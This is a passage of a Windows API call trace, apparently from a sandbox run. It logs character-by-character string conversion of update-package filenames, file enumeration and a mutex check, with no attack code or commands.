lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0270.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0270.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.085] CharLowerBuffW (in: lpsz=".msu", cchLength=0x4 | out: lpsz=".msu") returned 0x4 [0270.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msu", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msu0-v6001-x86.msu", lpUsedDefaultChar=0x0) returned 4 [0270.085] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0270.085] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0270.085] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.085] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.085] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.085] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.085] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.085] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.085] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.085] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.086] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.086] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.086] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.086] CharLowerBuffW (in: lpsz="Windows6.1-KB958488-v6001-x64.msu", cchLength=0x21 | out: lpsz="windows6.1-kb958488-v6001-x64.msu") returned 0x21 [0270.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0270.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0270.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0270.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0270.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.091] CharLowerBuffW (in: lpsz=".msu", cchLength=0x4 | out: lpsz=".msu") returned 0x4 [0270.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msu", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msu8-v6001-x64.msu", lpUsedDefaultChar=0x0) returned 4 [0270.091] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0270.091] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0270.091] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.091] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.091] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.091] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.091] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.091] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.091] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.091] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.092] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.092] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.092] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.092] CharLowerBuffW (in: lpsz="Windows6.1-KB958488-v6001-x86.msu", cchLength=0x21 | out: lpsz="windows6.1-kb958488-v6001-x86.msu") returned 0x21 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, 